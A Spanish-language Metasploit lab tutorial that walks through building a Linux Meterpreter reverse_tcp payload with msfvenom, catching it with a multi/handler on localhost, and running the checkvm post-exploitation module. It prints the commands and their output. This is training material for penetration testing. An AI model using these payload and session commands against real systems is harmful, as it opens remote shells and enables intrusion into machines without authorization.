Introducción
La post-explotación es la fase en una prueba de penetración que ocurre después de que un atacante ha obtenido acceso inicial a un sistema objetivo. Durante esta fase, el objetivo es recopilar más información, escalar privilegios, pivotar a otros sistemas y mantener acceso persistente. Metasploit Framework proporciona una vasta colección de módulos de post-explotación para automatizar estas tareas.
En este laboratorio, aprenderá el flujo de trabajo fundamental para usar un módulo de post-explotación en Metasploit. Comenzará estableciendo una sesión de Meterpreter, luego buscará un módulo adecuado, lo configurará y lo ejecutará contra la sesión activa para recopilar información sobre el sistema objetivo. Utilizaremos el módulo post/linux/gather/checkvm como ejemplo, que intenta determinar si el host comprometido es una máquina virtual (virtual machine).
Tener una sesión activa de Meterpreter
En este paso, configurará un listener en Metasploit y luego ejecutará un payload para simular un host comprometido que se conecta de vuelta, creando así una sesión activa de Meterpreter. Esta sesión es el requisito previo para ejecutar cualquier módulo de post-explotación.
Primero, iniciemos la consola de Metasploit Framework. Abra una terminal y escriba:
msfconsole -q
La bandera -q hace que el banner de inicio sea silencioso. Una vez que esté en el prompt msf6 >, configuraremos un listener. Usaremos un manejador genérico (generic handler) y un payload de Meterpreter para Linux.
Escriba los siguientes comandos en el prompt de msfconsole:
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 127.0.0.1
Ahora, ejecute el listener como un trabajo en segundo plano usando exploit -j:
exploit -j
Debería ver una confirmación de que el manejador se ha iniciado.
[*] Exploit running as background job 0.
[*] Started reverse TCP handler on 127.0.0.1:4444
Ahora, abra una nueva terminal (puede usar el botón + en la barra de pestañas de la terminal). En esta nueva terminal, generaremos y ejecutaremos el payload que se conecta a nuestro listener. Usaremos msfvenom para crear un archivo ejecutable para Linux.
En la segunda terminal, ejecute este comando para crear el payload:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f elf -o ~/project/shell.elf
Este comando crea un archivo ELF (Executable and Linkable Format) llamado shell.elf en su directorio ~/project.
A continuación, haga que el archivo sea ejecutable:
chmod +x ~/project/shell.elf
Finalmente, ejecute el payload para establecer la sesión:
./shell.elf
Ahora, vuelva a su primera terminal (la que tiene msfconsole). Debería ver un mensaje que indica que se ha creado una nueva sesión.
[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:38978) at 2023-10-27 10:30:00 -0400
Para confirmar, puede listar todas las sesiones activas con el comando sessions.
sessions
Verá su sesión activa listada, lo que significa que está listo para el siguiente paso.
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x86/linux 127.0.0.1:4444 -> 127.0.0.1:38978 (127.0.0.1)
Poner la sesión en segundo plano y usar el comando search para módulos post
En este paso, aprenderá cómo interactuar con su nueva sesión y luego regresar al prompt principal de msfconsole para buscar módulos de post-explotación.
Después del comando sessions, estará en el prompt msf6 >. Para interactuar con la sesión, use el comando sessions -i seguido del ID de la sesión.
sessions -i 1
Su prompt cambiará a meterpreter >, indicando que ahora está dentro de la sesión del sistema comprometido.
[*] Starting interaction with 1...
meterpreter >
Para ejecutar un módulo de post-explotación, necesita estar en el prompt principal msf6 >. Para dejar la sesión de Meterpreter activa pero regresar a la consola principal, use el comando background.
background
Verá un mensaje confirmando que la sesión se está ejecutando en segundo plano, y su prompt volverá a ser msf6 >.
[*] Backgrounding session 1...
msf6 >
Ahora, puede buscar módulos de post-explotación usando el comando search. Este comando es muy potente y puede filtrar módulos por tipo, plataforma, nombre y más. Para encontrar módulos que verifiquen máquinas virtuales, puede buscar la palabra clave checkvm.
search checkvm
Metasploit listará todos los módulos que coincidan con la palabra clave.
Matching Modules
================
## Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 post/linux/gather/checkvm normal No Linux Gather Virtual Machine Environment Detection
1 post/windows/gather/checkvm normal No Windows Gather Virtual Machine Environment Detection
...
Esto nos muestra que hay módulos tanto para Linux como para Windows. Dado que nuestra sesión está en un objetivo Linux, usaremos post/linux/gather/checkvm.
Seleccionar un módulo de post-explotación como post/linux/gather/checkvm
En este paso, seleccionará el módulo de post-explotación que encontró en el paso anterior y verá sus opciones de configuración.
Para seleccionar o "usar" un módulo en Metasploit, usa el comando use seguido del nombre completo del módulo. Basándonos en los resultados de nuestra búsqueda, usaremos post/linux/gather/checkvm.
use post/linux/gather/checkvm
Su prompt cambiará para reflejar el módulo seleccionado actualmente.
msf6 post(linux/gather/checkvm) >
Una vez que se selecciona un módulo, siempre debe verificar sus opciones para ver qué necesita ser configurado. El comando show options mostrará todas las configuraciones disponibles para el módulo actual.
show options
La salida mostrará las opciones del módulo, sus configuraciones actuales y si son requeridas.
Module options (post/linux/gather/checkvm):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
Como puede ver, la opción SESSION es requerida, pero aún no tiene un valor. Esta opción le indica a Metasploit contra cuál de sus sesiones activas ejecutar el módulo.
Establecer la opción SESSION al ID de su sesión activa
En este paso, configurará la opción requerida SESSION para el módulo de post-explotación.
De los pasos anteriores, sabemos que nuestra sesión activa tiene un ID de 1. Necesitamos proporcionar este ID al módulo. El comando set se utiliza para configurar las opciones del módulo.
Para establecer la opción SESSION a 1, ejecute el siguiente comando:
set SESSION 1
Debería ver una confirmación de que el valor se ha establecido.
SESSION => 1
Para estar seguro, puede ejecutar show options nuevamente para verificar que la opción SESSION ahora está configurada correctamente.
show options
La salida ahora mostrará 1 como la configuración actual para SESSION.
Module options (post/linux/gather/checkvm):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION 1 yes The session to run this module on.
Con la opción SESSION establecida, el módulo está ahora listo para ser ejecutado.
Ejecutar el módulo y analizar los resultados
En este paso, ejecutará el módulo de post-explotación configurado y analizará su salida.
Con el módulo seleccionado y todas las opciones requeridas establecidas, ahora puede ejecutarlo. En Metasploit, puede usar el comando run o exploit para ejecutar un módulo. Para los módulos de post-explotación, convencionalmente se usa run.
run
El módulo se ejecutará ahora en la sesión objetivo (Sesión 1). Realizará sus comprobaciones e imprimirá los resultados en su consola. El entorno LabEx se ejecuta dentro de un entorno virtualizado, por lo que debería ver un resultado positivo.
[*] Checking for Xen...
[+] This is a Xen Virtual Machine
[*] Checking for VMWare...
[*] This does not appear to be a VMWare Virtual Machine.
[*] Checking for VirtualBox...
[*] This does not appear to be a VirtualBox Virtual Machine.
[*] Checking for KVM...
[+] This is a KVM/QEMU Virtual Machine
[*] Checking for Hyper-V...
[*] This does not appear to be a Hyper-V Virtual Machine.
[*] Post module execution completed
Análisis de los resultados:
La salida indica claramente que el sistema objetivo se detecta como una máquina virtual Xen y KVM/QEMU. Esta es información valiosa para un probador de penetración. Saber que un objetivo está virtualizado puede influir en acciones futuras, como buscar vulnerabilidades de escape de VM o comprender la infraestructura subyacente.
¡Ahora ha ejecutado con éxito su primer módulo de post-explotación!
Resumen
En este laboratorio, ha aprendido el flujo de trabajo esencial para utilizar módulos de post-explotación dentro del Metasploit Framework. Ha realizado con éxito todo el proceso, desde establecer un punto de apoyo hasta recopilar inteligencia sobre el sistema objetivo.
Ha aprendido a:
- Crear un listener y establecer una sesión de Meterpreter.
- Poner en segundo plano una sesión activa para volver al prompt principal de
msfconsole. - Utilizar el comando
searchpara encontrar módulos de post-explotación relevantes. - Seleccionar un módulo con el comando
usey ver su configuración conshow options. - Configurar un módulo estableciendo la opción requerida
SESSION. - Ejecutar el módulo con el comando
runy analizar su salida.
Esta habilidad fundamental es un bloque de construcción para actividades de post-explotación más avanzadas, como la escalada de privilegios, la cosecha de credenciales y el movimiento lateral a través de una red.


